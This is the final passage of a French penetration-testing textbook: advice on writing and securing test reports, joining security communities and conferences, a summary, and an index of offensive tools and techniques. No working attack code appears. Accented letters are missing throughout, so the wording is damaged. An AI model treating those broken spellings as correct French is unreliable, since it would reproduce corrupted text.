vous ne savez pas o les chercher, la plupart des vulnrabilits et des
exploits publics donnent des dtails ou des tapes qui permettent de
corriger les faiblesses. Servez-vous de Google et dInternet pour vous
documenter sur les particularits des faiblesses signales. En tudiant les
dtails techniques et les vulnrabilits, vous trouverez souvent des
solutions. Cela comprend gnralement le tlchargement dun correctif
ou une mise niveau vers la nouvelle version du logiciel, mais dautres
mthodes de rsolution sont galement envisageables, comme un
changement de configuration ou un remplacement du matriel.
Le rapport dtaill doit absolument fournir des solutions chaque
problme dcouvert. Cela vous permettra galement de vous diffrencier
des autres testeurs dintrusion et de signer de nouveaux contrats.
Si vous fournissez la sortie brute des outils dans le rapport de test
dintrusion, les conclusions du rapport dtaill doivent comprendre des
liens et des rfrences vers les pages de cette partie. Ce point est
important car il vous vitera de perdre du temps au tlphone pour
rpondre votre client qui se demande comment vous avez dcouvert un
problme prcis. En faisant clairement rfrence aux rsultats bruts des
outils, le client pourra se plonger dans les dtails sans avoir besoin de
vous contacter. Vous devez ainsi tre en mesure de voir comment le
rapport passe de la synthse au rapport dtaill et aux sorties brutes.
Sorties brutes
Lorsque le client le demande, la dernire partie du rapport doit donner les
dtails techniques et les sorties brutes de chaque outil employ. En ralit,
tous les testeurs dintrusion ne sont pas daccord sur la ncessit dinclure
ces informations dans le rapport. Lun des principaux arguments,
parfaitement dfendable, est quelles correspondent souvent des
centaines de pages trs difficiles lire et analyser. Lautre raison
souvent avance est que donner ce niveau de dtail est inutile et que cela
permet au client de connatre prcisment les outils qui ont permis de
raliser le test dintrusion.
Si vous employez des outils personnaliss, des scripts ou dautres codes
propritaires pour raliser les tests dintrusion, il est probable que vous ne
souhaitiez pas rvler ces informations votre client. Cependant, dans la
plupart des cas, il est possible de fournir la sortie brute gnre par ces
outils. Cela signifie non pas que vous devez indiquer les commandes
exactes et les options employes pour excuter les outils comme
Metasploit, Nmap ou du code personnel, mais que vous devez rendre la
sortie de ces commandes disponible. Si vous ne voulez pas rvler les
commandes prcises qui ont servi lancer les outils, vous pouvez
nettoyer la sortie brute afin de retirer les informations que vous ne
souhaitez pas dvoiler aux lecteurs du rapport.
Dans le cas dun test dintrusion de base, qui implique gnralement les
outils prsents dans cet ouvrage, la sortie brute peut parfaitement tre
incluse la fin du rapport (ou tre rendue disponible dans un rapport
spar). En effet, dans un tel test, les outils et les commandes qui ont servi
les invoquer sont largement connus. Il ny a aucune vritable raison de
vouloir masquer ces informations. Par ailleurs, comme nous lavons
mentionn prcdemment, donner les sorties brutes et y faire clairement
rfrence dans le rapport dtaill vous permettront souvent de gagner du
temps et dviter les appels tlphoniques de clients frustrs qui ne
comprennent pas vos conclusions.
Que vous incluiez les donnes brutes dans le rapport ou les proposiez
dans un document spar est une dcision qui vous revient. Selon la taille
du rapport, il peut en effet tre prfrable de les proposer dans un
document indpendant, sans les joindre la synthse et au rapport
dtaill.
Vous devez galement rflchir la faon de prsenter le rapport au
client. Ce point doit tre discut avant la livraison du rapport. En terme de
gestion du temps et de ressources, il est souvent plus facile de le fournir
sous forme dun document lectronique. Si le client demande une copie
papier, vous devrez imprimer le document et le relier de manire
professionnelle. Envoyez-lui par courrier recommand avec avis de
rception afin dtre certain que le document a t reu.
Si le document doit tre envoy de faon lectronique, pensez le
chiffrer de sorte quil reste confidentiel jusqu son arrive entre les
mains du client. Noubliez pas quun rapport de test dintrusion comprend
souvent des informations trs sensibles sur lentreprise. Vous devez vous
assurer quelles restent prives. Il serait trs ennuyeux quun rapport que
vous avez rdig devienne public simplement parce que vous navez pas
pris les mesures de bon sens pour garantir sa confidentialit.
Il existe plusieurs manires de protger le document. Vous pouvez
employer un outil comme 7zip pour compresser les fichiers et ajouter un
mot de passe. Une meilleure solution consiste cependant utiliser un outil
comme TrueCrypt pour chiffrer le document. Ce programme simple
demploi peut tre tlcharg gratuitement ladresse
http://www.truecrypt.org. Quel que soit le type de chiffrement ou de
protection que vous utilisez, le client devra employer le mme outil pour
dchiffrer et consulter le document. Ce mode opratoire doit tre discut
avant le dbut du test dintrusion. Certains clients pourraient ne pas
comprendre ne serait-ce que les bases de la cryptographie. Vous devrez
alors leur expliquer les techniques qui permettront de consulter le rapport
final.
Chaque section ou sous-rapport individuel doit tre clairement libell et
doit dbuter sur une nouvelle page. Sous le titre de chaque rapport, il peut
tre bon de souligner au lecteur que le test dintrusion nest valide qu
un moment donn dans le temps. La scurit des rseaux, des ordinateurs,
des systmes et des logiciels est dynamique. Les menaces et les
vulnrabilits voluent la vitesse de la lumire. Par consquent, un
systme qui semble totalement impntrable aujourdhui pourrait tre
facilement compromis demain si une nouvelle vulnrabilit venait tre
dcouverte. Afin de vous garantir contre ces volutions rapides, il est
important de prciser que les rsultats du test sont corrects jusquau jour
o vous avez achev lvaluation. Vous devez fixer au client des attentes
ralistes. Noubliez pas qu moins de remplir lordinateur de bton, de le
jeter au milieu de locan et de le dbrancher dInternet, il y a toujours
un risque que le systme puisse tre un jour pirat laide dune
technique inconnue ou dune nouvelle faille 0-day.
Enfin, prenez le temps de prparer, de lire, de relire et de corriger votre
rapport. Il est tout aussi important de fournir un rapport techniquement
correct que dpourvu de fautes dorthographe et de grammaire. Un
rapport de test dintrusion technique truff de fautes indiquera votre
client que vous bclez votre travail et aura un impact ngatif sur votre
activit. En gnral, le rapport reprsente le seul lment que votre client
aura de votre travail. Vous serez jug en fonction de son niveau
technique et de ses conclusions, mais galement sur sa prsentation et sa
lisibilit.
Pendant que vous relisez votre rapport la recherche dventuelles
erreurs, prenez le temps dexaminer attentivement la sortie dtaille des
diffrents outils. Noubliez pas que nombre dentre eux sont dvelopps
par des hackers avec un sens de lhumour bien eux. Malheureusement,
il nest pas toujours compatible avec le monde professionnel. Au dbut de
ma carrire de testeur dintrusion, je me suis trouv, avec un collgue,
dans une situation embarrassante. Lun de mes outils prfrs, Burp Suite,
avait tent de se connecter de nombreuses reprises un service
particulier en utilisant le nom "Peter Weiner2". Notre rapport tait donc
rempli dexemples de comptes dutilisateurs appartenant Peter Weiner.
Il nest pas si facile de se prsenter devant de nombreux professionnels
en "costard-cravate" et de discuter dun utilisateur fictif nomm Peter
Weiner.
Il faut savoir que, dans ce cas, jtais totalement responsable de cette
erreur. Le personnel de PortSwigger avait explicitement indiqu comment
changer ce nom dutilisateur dans les paramtres de configuration et un
examen plus attentif des rapports aurait soulev ce problme avant ma
prsentation. Si javais correctement relu le rapport et les conclusions,
jaurais eu tout le temps de le corriger (ou tout au moins de trouver une
bonne excuse).
Votre rputation en tant que testeur dintrusion sera en lien direct avec la
qualit des rapports que vous fournissez. Il est essentiel de savoir rdiger
les conclusions dun test dintrusion si vous voulez trouver des clients et
signer de nouveaux contrats. Nhsitez pas rencontrer vos prospects
avec un exemple de rapport. Il arrive souvent quils demandent voir un
tel exemple avant de prendre une dcision finale. Mais vous ne devez
donner quun exemple. Il ne doit contenir aucune information sur un
client rel. Nutilisez jamais le rapport dun client prcdent comme
exemple, car vous ne respecteriez plus alors la confidentialit implicite
ou contractuelle qui vous unissait.
Pour en conclure avec la phase de rdaction du rapport, il est bon de
mentionner que la plupart des clients supposeront que vous restez
disponible aprs sa livraison. En raison de la nature technique et dtaille
du test dintrusion et du rapport, vous devez vous attendre quelques
questions. nouveau, prendre le temps de rpondre chaque question
doit tre vu non pas comme une source dagacement mais comme une
opportunit dimpressionner le client et dobtenir de nouveaux contrats.
Un bon service client vaut son pesant dor et aura souvent des retours
bnfiques. videmment, votre volont de travailler avec un client et de
proposer des services supplmentaires doit rester commercialement
viable. Il ne vous est pas demand dassurer un support client
indfiniment gratuit, mais de trouver un quilibre entre un service client
exceptionnel et des bnfices commerciaux.
Participer
En supposant que vous ayez lu lintgralit de cet ouvrage
(flicitations !), vous vous demandez probablement comment poursuivre.
La rponse dpend entirement de vous. Tout dabord, nous vous
suggrons de pratiquer et de matriser les informations et les techniques
donnes dans cet ouvrage. Ds que ces bases nauront plus de secret
pour vous, passez aux sujets et aux outils plus avancs que nous indiquons
dans les sections "Et ensuite" de chaque chapitre.
Si vous matrisez tout le contenu prsent de cet ouvrage, vous avez dj
une solide comprhension des procdures de hacking et de test
dintrusion. Vous devez vous sentir suffisamment laise avec ces sujets
de base avant daborder des aspects avancs, voire spcialiss.
Cependant, il est bon de rappeler que le hacking et les tests dintrusion ne
se limitent pas au lancement doutils. De nombreux groupes
communautaires se sont forms autour de ces sujets. Vous devez
participer ces communauts. Prsentez-vous et apprenez en posant des
questions et en observant. Vous devez galement y contribuer si vous le
pouvez. Les communauts qui sintressent au hacking, la scurit et
aux tests dintrusion sont accessibles au travers de diffrents sites web,
forums en ligne, messageries instantanes, listes de diffusion et groupes
de nouvelles, voire en personne.
Les salons de discussion sont de bons endroits pour en apprendre plus sur
la scurit. Ils se focalisent gnralement sur un sujet gnral et, comme
leur nom lindique, impliquent des discussions sur divers sujets
secondaires qui tournent autour du thme principal. Par de nombreux
aspects, rejoindre un salon de discussion est comparable sasseoir dans
un caf et couter les conversations. Vous pouvez participer en posant
des questions ou vous asseoir silencieusement en lisant les discussions de
chacun dans le salon.
Si vous navez jamais particip une confrence sur la scurit, vous
devez vous promettre de changer cela. DEFCON est une convention
annuelle pour hackers qui se tient Las Vegas la fin de chaque t.
Elle ressemble un grand cirque, avec plus de 11 000 participants, et,
oui, elle a lieu aux tats-Unis, Las Vegas, o il fait trs chaud en aot.
Malgr cela, DEFCON constitue lune des meilleures communauts au
monde sur la scurit. En gnral, la foule y est trs agrable, les Goons
(nom donn aux officiels de DEFCON) sont conviviaux et aimables, et la
communaut est ouverte et attrayante. Vous aurez videmment le cot du
voyage, mais le prix de lentre nest rien en comparaison des autres
vnements associs la scurit et, cerise sur le gteau, les confrences
sont exceptionnelles.
La qualit et la diversit des prsentations donnes DEFCON sont tout
simplement ahurissantes. Les thmes abords varient tous les ans, mais
vous tes certain dy trouver le hacking rseau, la scurit des
applications web, la scurit physique, le hacking matriel, le crochetage,
etc. Il est toujours possible de rencontrer les confrenciers, qui sont
souvent impatients de discuter avec tout le monde et de rpondre aux
questions. Il est parfaitement naturel dtre un peu nerveux lorsque lon
rencontre une sommit, en particulier si vous faites partie dune
communaut en ligne o les dbutants sont dnigrs et les questions,
dconseilles. Toutefois, si vous prenez linitiative, vous serez
gnralement agrablement surpris par louverture de la communaut
DEFCON.
DerbyCon est une autre excellente confrence. Elle se tient galement
aux tats-Unis, Louisville, Kentucky, en automne. Dave Kennedy, qui a
particip cet ouvrage, est lun des cofondateurs de DerbyCon. Elle
attire certains des plus grands noms de la scurit et promet une
exprience plus "intimiste" (seulement 1 000 1 500 participants). Vous
trouverez tous les dtails sur le site http://www.derbycon.com.
Si vous ne pouvez pas participer des confrences aussi loignes,
recherchez les communauts plus proches de vous. Vous pourrez les
trouver en consultant InfraGard, OWASP, les forums Kali Linux et bien
dautres ressources.
La lecture de ce livre et la participation une communaut sur la scurit
sont de bonnes faons dtendre votre horizon et dapprendre des
concepts supplmentaires et avancs. Suivre une discussion ou assister
une prsentation dclenchera souvent un nouvel intrt pour un sujet
prcis.
Lorsque les fondamentaux sont acquis, vous pouvez vous intresser un
domaine particulier de la scurit. La plupart des personnes apprennent
les bases, puis ont tendance se spcialiser. Mais rien ne presse, et vous
spcialiser dans un domaine aujourdhui ne vous empche pas de vous
intresser demain un autre sujet. Toutefois, les personnes qui
interviennent dans ce champ dactivit ont gnralement tendance se
focaliser exclusivement sur un ou deux domaines de la scurit, avec des
connaissances trs pousses. La liste suivante nest quun exemple de
sujets sur lesquels vous pouvez vous spcialiser. Elle nest pas exhaustive,
mais permet de se faire une ide des diffrents domaines qui exigeront un
apprentissage supplmentaire :
scurit offensive et hacking thique ;
scurit des applications web ;
scurit des systmes ;
rtro-ingnierie ;
dveloppement doutils ;
analyse des logiciels malveillants ;
scurit dfensive ;
scurit des logiciels ;
analyse forensique numrique ;
scurit du sans-fil.
Et ensuite
Au terme de la lecture de cet ouvrage, vous serez probablement
impatient den apprendre plus sur un sujet, une tape ou une technique
que nous avons prsent. Puisque vous matrisez les fondamentaux, de
nouvelles portes vont souvrir. Si vous avez pris la peine dtudier, de
pratiquer et de comprendre le contenu de cet ouvrage, vous tes par
pour un apprentissage plus avanc.
Noubliez pas que lune des principales motivations pour lcriture de cet
ouvrage tait non pas de vous transformer en un hacker ou un testeur
dintrusion dlite, mais de vous proposer un tremplin vers llargissement
de vos connaissances. Grce une matrise totale des bases, vous serez
confiant et prt vous lancer dans la dcouverte pousse des sujets
abords. Les opportunits daugmenter le niveau de vos connaissances
sont nombreuses. Quel que soit le domaine que vous dciderez dtudier
par la suite, nous vous encourageons fortement tablir des bases solides
en vous intressant la programmation et aux rseaux.
Si vous souhaitez une approche plus pratique, essayez de participer des
formations de deux cinq jours sur la scurit. Elles sont souvent
onreuses et intensives, mais le cot dinscription est en gnral justifi.
La confrence Black Hat propose habituellement des cours hautement
spcialiss et focaliss, dispenss par des sommits dans le domaine. Lors
de tels vnements, vous pourrez choisir parmi des dizaines de sujets et
de spcialisations sur la scurit. Les thmes prcis changent chaque
anne, mais vous en trouverez la liste sur le site de Black Hat ladresse
http://www.blackhat.com.
Les personnes responsables de la cration et de la distribution de Kali
Linux proposent galement des formations intensives. Elles vous mettront
au dfi et vous pousseront travailler sur des scnarios ralistes.
Prenez le temps dexaminer les diffrentes mthodologies des tests de
scurit, notamment OSSTMM (Open Source Security Testing
Methodology Manual) et PTES (Penetration Testing Execution Standard).
Le prsent ouvrage sest focalis sur les outils et les mthodes employs
lors des tests dintrusion. La mthodologie PTES, qui reste ma prfre,
fournit aux professionnels de la scurit un framework parfaitement
dfini et mr, qui peut tre associ aux diffrents sujets dcrits dans cet
ouvrage. Japprcie PTES car elle est due des professionnels en
activit, fournit des dtails techniques et est trs rigoureuse. Vous
trouverez tous les dtails ladresse http://www.pentest-standard.org.
Le site http://www.vulnerabilityassessment.co.uk propose une autre
mthodologie de test dintrusion intressante. PTF (Penetration Testing
Framework) constitue une excellente ressource pour les testeurs
dintrusion et les quipes de vrification de la scurit. Vous y trouverez
des modles de vrification ainsi quune liste doutils employer pour
complter chaque phase.
Conclusion
Si vous avez lu cet ouvrage du dbut la fin, arrtez-vous un instant et
rflchissez tout ce que vous avez appris. ce stade, vous devez
possder une solide comprhension des diffrentes phases dun test
dintrusion type et des outils ncessaires les mener bien. Plus
important encore, vous devez comprendre le droulement dun test
dintrusion et comment exploiter les informations obtenues par chaque
phase dans la suivante. De nombreuses personnes sont avides
dapprendre sur le hacking et les tests dintrusion, mais la plupart des
novices ne savent employer quun seul outil et ne mener bien quune
seule phase. Ils refusent davoir une vue densemble et se sentent frustrs
lorsque leurs outils ne fonctionnent pas ou ne fournissent pas les rsultats
attendus. Ces personnes ne comprennent pas comment se passe
lensemble de la procdure ni comment exploiter lintrt de chaque
phase pour renforcer les suivantes.
Ceux qui auront lu attentivement cet ouvrage, essay chaque exemple et
travaill suffisamment profiteront des enseignements donns et auront la
capacit de prendre du recul et de voir limportance de chaque phase.
Vous devez galement tre prsent en mesure de rpondre la
question pose lors du scnario donn au dbut du Chapitre 2.
Supposons que vous soyez un testeur dintrusion thique qui travaille
pour une socit de scurit. Votre chef vient vous voir dans votre
bureau et vous tend une feuille de papier : "Je viens davoir le PDG
de cette entreprise au tlphone. Il veut que mon meilleur testeur
dintrusion, cest--dire vous, intervienne sur sa socit. Notre
service juridique va vous envoyer un courrier lectronique pour
confirmer que nous avons toutes les autorisations et les garanties
appropries." Vous hochez la tte pour accepter ce travail. Il sort de
votre bureau. Vous jetez un il la feuille de papier, sur laquelle un
seul mot est crit : Syngress. Vous navez jamais entendu parler de
cette socit et le document ne donne aucune autre information.
Que faire ?
Le cercle de la vie
Tout lintrt des tests dintrusion et du hacking est que vous tes certain
de ne jamais en voir le bout. Alors que vous commencez juste matriser
un sujet ou une technique, quelquun dveloppe une nouvelle mthode,
attaque ou procdure. Cela ne signifie pas que vos connaissances sont
obsoltes. Bien au contraire, de solides fondations vous permettent de
vous former des sujets plus avancs et de rester en phase avec des
volutions si rapides.
Japprcie toujours les contacts avec mes lecteurs. Nhsitez pas
menvoyer un courrier lectronique ou me contacter sur Twitter :
@pengebretson?
Patrick
En rsum
Ce chapitre sest focalis sur limportance de la rdaction dun rapport
de test dintrusion et a dtaill les informations inclure et les piges que
les hackers novices dans cette tche doivent viter. Nous avons soulign
limportance de prsenter un rapport de qualit aux clients. Le chapitre a
conclu en proposant quelques pistes pour que vous tendiez vos
connaissances en hacking, une fois les bases matrises. Il a notamment
conseill de participer activement aux communauts qui tournent autour
de la scurit.

2. N.d.T : en argot amricain, "Peter Weiner" est lun des nombreux
termes donns au pnis.
Index
A
Accs, maintenir 1
Advanced Package Tool (APT) 1
Applet Java, attaque 1
Arduino, vecteurs dattaque 1
Armitage, outil 1
commande 1
cran
initial 1
principal 1
exception de connexion 1
Hail Mary, fonction 1
lancer 1
utilisation 1
Attaques
applet Java 1
automatises 1
B
Back Orifice, outil 1
BackTrack Linux 1
avantages 1
communaut autour de la scurit 1
dmarrage
menu de GRUB 1
options 1
gravure 1
machine dattaque 1
mode graphique sr 1
Paros, outil 1
VMware
image 1
Player 1
rle 1
Base64, encodage 1
bdcli100.exe, logiciel client 1
Black Hat, confrence 1
Bote
blanche, test dintrusion 1
noire, test dintrusion 1
Burp Suite, outil 1
C
Canal chiffr 1
Carte dinterface rseau (NIC) 1
Confrences
DEFCON 1
DerbyCon 1
Cross-Site Scripting (XSS) 1, 2
assaillant comptent 1
code de test 1
mthode dattaque 1
nom dutilisateur et mot de passe 1
rflchi 1
stock 1
testeur dintrusion 1
Cryptcat, outil 1
canal chiffr 1
-k, option 1
twofish, chiffrement 1
D
Dakota State University (DSU) 1
Damn Vulnerable Web App (DVWA) 1
DEFCON, confrence 1
De-ICE Linux, CD 1
DerbyCon, confrence 1
Dig, outil 1
Domain Name System (DNS) 1, 2
interrogation 1
serveurs 1
Dsniff, outils 1
E
Exchange, serveur 1
Exploitation 1
attaques automatises 1
concept 1
dbordement de tampons 1, 2
mise en pratique 1
mots de passe
dictionnaire personnel 1
hacking distance 1
hacking local 1
Linux et OS X, craquer 1
rinitialiser 1
outils
Armitage 1
ettercap 1
John the Ripper 1
macof 1
Medusa 1
Metasploit 1
RainbowCrack 1
ouverture de session par force brute 1
phase 1
ports multiples 1
trafic rseau, couter (Wireshark) 1
F
Fierce, outil 1
dans Kali 1
rpertoire 1
File Transfer Protocol (FTP) 1, 2, 3
FOCA, outil 1
Force brute, programme pour 1
G
Google
Dorks 1
oprateurs 1
allintitle 1
commande 1
contenu dynamique 1
discussions en ligne 1
exemples 1
filetype 1
forums publics 1
GHDB 1
intitle 1
inurl 1
puissance 1
rpertoire, parcourir 1
technicien, exemple 1
utilisation 1
H
Hacker Defender, rootkit 1
fichier de configuration 1
Hidden Processes, section 1
Hidden RegKeys, section 1
Hidden Services, section 1
hsdef100.zip, fichier 1
ports 1
Root Processes, section 1
Startup Run, section 1
Hail Mary, fonction dArmitage 1, 2
host, commande 1
documentation 1
sortie 1
HTTrack, outil 1
hxdef100.ini, fichier de configuration 1
Hypertext Markup Language (HTML) 1
Hypertext Transfer Protocol (HTTP) 1
I
Informations
extraire
dig, outil 1
Fierce, outil 1
MetaGooFil, outil 1
nslookup, commande 1
processus de partage 1
serveur DNS 1
serveurs de messagerie 1
transfert de zone 1
Ingnierie sociale 1
concept 1
exemple 1
menus 1
moissonneur dinformations de connexion 1
sites web, vecteurs dattaque 1
Injection de code, attaques
applications web 1
authentification ct client, contourner 1
commandes inattendues 1
framework gnrique 1
langage interprt 1
or, oprateur 1
SQL 1
Interface utilisateur graphique 1, 2
Internet Control Message Protocol (ICMP) 1
Internet Protocol (IP) 1, 2, 3
J
John the Ripper (JtR), outil 1
algorithmes de hachage 1
attaque
distante 1
locale 1
exercices de la Red Team 1
groupes user ou guest 1
performances 1
processus en quatre tapes 1
rpertoire 1
version chiffre 1
K
Kali Linux 1
avantages 1
communaut autour de la scurit 1
gravure 1
machine dattaque 1
menu de dmarrage de GRUB 1
VMware
Player 1
rle 1
L
Lan Manager (LM) 1, 2
Linux
mot de passe, craquer
niveau de privilges 1
SHA 1
shadow, fichier 1
system, fichier 1
utilisateurs privilgis 1
M
Machine dattaque
adresse IP 1
carte rseau, activer 1
dhclient, commande 1
DHCP, utiliser 1
distributions Linux 1
fentre de terminal, ouvrir 1
ifconfig, commande 1
lo, interface 1
mise en place, tapes 1
pour Kali ou Backtrack 1
serveur DNS 1
Machine virtuelle (VM) 1, 2, 3
Macof, outil 1
adresse MAC 1
commutateurs
mode failclosed 1
mode failopen 1
dsniff 1
routage discret, proprit 1
trafic rseau 1
Wireshark, outil 1
Maltego, outil 1
Media Access Control (MAC) 1
Medusa, outil 1
commande 1
force brute
approche 1
ouverture de session 1
liste
de mots 1
de noms dutilisateurs 1
mots de passe
craqueurs en ligne 1
dictionnaire 1
SSH 1
systmes distants, accder 1
utilisations 1
MetaGooFil, outil 1
assaillant 1
mtadonnes 1
rpertoire 1
script Python 1
sortie 1
Metasploit, outil 1
bind, charge 1
charges 1, 2, 3
inverses 1
cible Windows, exploiter 1
classement, mthodologie 1
dbordement de tampons et exploitation 1
documentation, consulter 1
cran initial 1
excution de code distance 1
exploitation, niveaux de classement 1
exploits et charges, envoyer la cible 1
fiche rcapitulative 1
framework 1, 2
dexploitation 1
hashdump, commande 1
Metasploit Express, version 1
Metasploit Pro, version 1
Meterpreter, shell 1
migrate, commande 1
msfconsole 1
Nessus 1
Nmap 1
non graphique 1
scanner de vulnrabilit 1, 2
search, commande 1
set, commande 1
set payload, commande 1
show options, utiliser 1
sortie, analyser 1
use, commande 1
VNC, logiciel 1
vulnrabilits critiques ou leves 1
Meterpreter, shell 1, 2, 3
avantages 1
commandes intgres 1
fonctions 1
postexploitation, activits 1
mkdir, commande 1
Moissonneur dinformations de connexion
partir dun site web 1
enqute de satisfaction des employs 1
faux site web Gmail 1
HTTPS 1
informations didentification captures 1
web, vecteurs dattaque 1
Moteur de recherche, oprateurs 1
Mots de passe
craquer distance 1
craquer en ligne 1
craquer en local 1, 2
combinaisons de lettres 1
disque local, monter 1
format, commande 1
LM (Lan Manager) 1
Meterpreter, outil 1
mkdir, commande 1
mot de passe trs secret 1
mots de passe Windows 1
mount, commande 1
NTLM 1
rsultats 1
samdump2, outil 1
SAM, fichier 1
version chiffre, extraire et consulter 1
VNC, charge 1
rinitialiser 1
MultiPyInjector, vecteurs dattaque 1
N
Ncat, outil 1
Netbus, outil 1
Netcat, outil 1
cible Windows 1
communication 1
connexion un service 1
entre du clavier 1
-e, option 1, 2
fentre de terminal 1
fichiers, transfrer 1
ls, commande 1
machine cible 1
Meterpreter, shell 1
mise en pratique 1, 2
mode client ou serveur 1
mode coute 1
nc.exe, programme 1
pages de manuel 1
paquets UDP 1
portes drobes 1
Registre de Windows 1
rootkits 1
serveur web 1
version Linux 1
virus.exe 1
Netcraft, outil 1
informations, collecter 1
option de recherche 1
rapport pour syngress.com 1
Network Interface Card (NIC) 1
Nikto, outil
ligne de commande 1
ports
multiples 1
numros 1
scanner de vulnrabilit web 1
serveur web 1
Nmap, outil
scans
de ports 1
NULL 1
SYN 1
TCP Connect 1
UDP 1
Xmas 1
Nmap Scripting Engine (NSE) 1, 2
banner, script 1
catgories de scripts 1
communaut 1
invoquer 1
vuln
catgorie 1
rsultats du script 1
Non-promiscuit, mode 1
NSLookup, outil 1
combin host 1
interrogation DNS 1
mode interactif 1
phase de reconnaissance 1
O
Open-Source Intelligence (OSINT) 1
OpenVAS, outil 1
P
Penetration Testing Execution Standard (PTES) 1
Penetration Testing Framework (PTF) 1
Ping 1
adresse IP cible 1
balayages 1
cat, commande 1
FPing, outil 1
options 1
paquets ping, bloquer 1
commande 1, 2
paquet de requte ICMP Echo 1
Porte drobe 1, 2, 3
PowerShell, technique dinjection 1, 2
Promiscuit, mode 1
Proxy, configuration manuelle 1
PyInjector, vecteurs dattaque 1
Python, script 1, 2
Q
QRCode 1
R
RainbowCrack, outil 1
Rapport de test dintrusion
fautes dorthographe et de grammaire 1
professionnel 1
rdiger 1
synthse 1
Reconnaissance 1, 2, 3
active 1
cibles attaquables, rechercher 1
informations
extraire des serveurs de messagerie 1
extraire des serveurs DNS 1
publiques, rechercher 1
ingnierie sociale 1
mise en pratique 1
numrique 1
oprateurs Google 1
outils
automatiques 1
dig 1
Fierce 1
host 1
HTTrack 1
MetaGooFil 1
Netcraft 1
NSLookup 1
The Harvester 1
ThreatAgent Drone 1
Whois 1
passive 1
Syngress 1, 2
Rpertoires, parcourir 1
Request for Comments (RFC) 1
Rseau, couter 1, 2
mode de non-promiscuit 1
mode promiscuit 1
Robot dindexation
certificats 1
Iceweasel, navigateur web 1
interface, mode complet 1
panneaux 1
paramtres de connexion 1
proxy 1
site web cible 1, 2
WebScarab, outil 1
Rootkits 1
antivirus 1
dtection et dfense 1
fichiers, cacher 1
paquetages logiciels 1
portes drobes, accs discret 1
su ou Excuterentantque, commandes 1
trafic 1
S
Scan
analogie 1
balayages ping 1
cible finale 1
concept 1
connexion en trois tapes 1
de ports 1, 2, 3
interface graphique 1
IP cible 1
liste des ports ouverts 1
Nmap, outil 1
option de temporisation 1
options 1
scan de versions 1
systme cible, obtenir un accs 1
systme dexploitation, empreinte 1
version en ligne de commande 1
de vulnrabilits 1, 2, 3, 4
cibles 1
lien des rsultats 1
Nessus, outil 1, 2, 3
plugin 1
politiques 1
vrifications prudentes, option 1
mthode 1
mise en pratique 1
Nmap, outil 1
NULL 1
SYN 1
TCP Connect 1
UDP 1
Xmas 1
NSE, outil 1
numros de port et services 1
priphriques de primtre 1
pings 1
SearchDiggity, outil 1
Secure Hash Algorithm (SHA) 1
Secure Shell (SSH) 1
Scurit offensive 1
Security Account Manager (SAM) 1
Serveurs
de messagerie 1
cibler 1
message refus 1
Exchange 1
Sites web, vecteurs dattaque
adresse IP 1, 2
antivirus 1
applets Java 1, 2
charge, choisir 1
Metasploit, outil 1
Meterpreter, shell 1
PowerShell, technique dinjection 1
SET, outil 1
TrustedSec 1
Socat, outil 1
Social-Engineer Toolkit (SET) 1, 2
exploits universels 1
hameonnage 1
interface 1
structure des dossiers 1
systme base de menus 1
Windows XP SP3 1
Sortie brute 1
des outils 1
document
chiffrer 1
lectronique 1
rapport de test dintrusion
fautes dorthographe et de grammaire 1
professionnel 1
Structured Query Language (SQL) 1
injection 1
instructions 1
SubSeven (Sub7), outil 1
Syngress 1
Synthse 1
Systme distant, maintenir laccs 1
Cryptcat, outil 1
Hacker Defender, rootkit 1
Meterpreter, shell 1
Netcat, outil 1
portes drobes 1
rootkits 1
T
Tampons, dbordement 1
Test dintrusion 1, 2
attaque raliste, simuler 1
bons contre mchants 1
communaut autour de la scurit 1
concept 1
distributions, audit de la scurit 1
en bote
blanche 1
noire 1
valuation de la vulnrabilit 1
exception la rgle 1
hacker thique contre hacker malveillant 1
Kali Linux, BackTrack Linux et autres 1
laboratoire de hacking 1, 2
mthode ZEH (Zero Entry Hacking) 1, 2
mise en pratique 1
phases 1
postexploitation et maintien daccs 1
pivoter 1
rapport 1
captures dcran 1
dtaill 1
donnes brutes 1
failles 1
final 1, 2
phase de reconnaissance 1
remdes 1
restrictions lgales et thiques 1
routeur de primtre 1
solutions 1
sortie brute des outils 1
vulnrabilits 1
salons de discussion 1
sortie brute 1
synthse 1
triangle invers, modle 1
The Harvester, outil 1
accder rapidement 1
commandes 1
dossier 1
excuter 1
informations, manipuler 1
sortie 1
sous-domaines 1
ThreatAgent Drone, outil 1
option de reconnaissance 1
recherche, lancer 1
rsultats 1
vecteur dattaque, identification 1
Transfert de zones 1, 2
Transmission Control Protocol (TCP) 1, 2
TrueCrypt, outil 1
TrustedSec 1
Twofish, chiffrement 1
U
Ubuntu 7.04 1
Uniform Resource Locator (URL) 1, 2, 3
User Datagram Protocol (UDP) 1, 2
V
Virtual Network Computing (VNC) 1, 2
charge 1
Virtual Private Network (VPN) 1
VMware, image 1
W
Web Application Audit and Attack Framework (w3af) 1
menu de Kali 1
plugins 1
scans 1, 2
volet des shells 1
Web, exploitation 1
bases 1
concept 1
cross-site scripting (XSS) 1
injection de code, attaques 1
logiciel, architecture 1
mise en pratique 1
Nikto, outil 1
robot dindexation 1
services en nuage 1
w3af, outil 1
WebScarab, outil 1
ZAP, outil 1
WebGoat, outil 1
WebScarab, outil 1
Base64 1
champs masqus 1
interceptions, annuler 1
requtes et rponses HTTP 1
serveur proxy 1
Windows XP 1
Wireshark, outil 1
adresse MAC 1
capture, stopper 1
cible Linux 1
commande 1, 2
concentrateur 1
interface de capture 1
numrer 1
mode
non-promiscuit 1
promiscuit 1
trafic rseau, couter 1, 2
Z
Zed Attack Proxy (ZAP) 1
Iceweasel, configuration dun proxy 1
interception 1
menu de Kali 1
points darrt 1
robot dindexation 1
scan 1
variables dentre 1
Couverture
Avertissement
Remerciements
Ma femme
Mes filles
Ma famille
Dave Kennedy
Jared DeMott
lquipe de Syngress
propos de lauteur
Introduction
Nouveauts de la 2e dition
Public du livre
Singularit du livre
Raisons du choix de ce livre
Suivre les exemples
1. Tests dintrusion
Introduction
Prparer le terrain
Introduction Kali et BackTrack Linux
Machine dattaque
Mettre en place un laboratoire de hacking
Phases dun test dintrusion
Et ensuite
En rsum
2. Reconnaissance
Introduction
HTTrack
Oprateurs Google
The Harvester
Whois
Netcraft
Host
Extraire des informations du DNS
NSLookup
Dig
Fierce
Extraire des informations des serveurs de
messagerie
MetaGooFil
ThreatAgent
Ingnierie sociale
Passer les informations au crible
Mettre en pratique cette phase
Et ensuite
En rsum
3. Scans
Introduction
Ping et balayage ping
Scan des ports
Connexion en trois tapes
Scans TCP Connect avec Nmap
Scans SYN avec Nmap
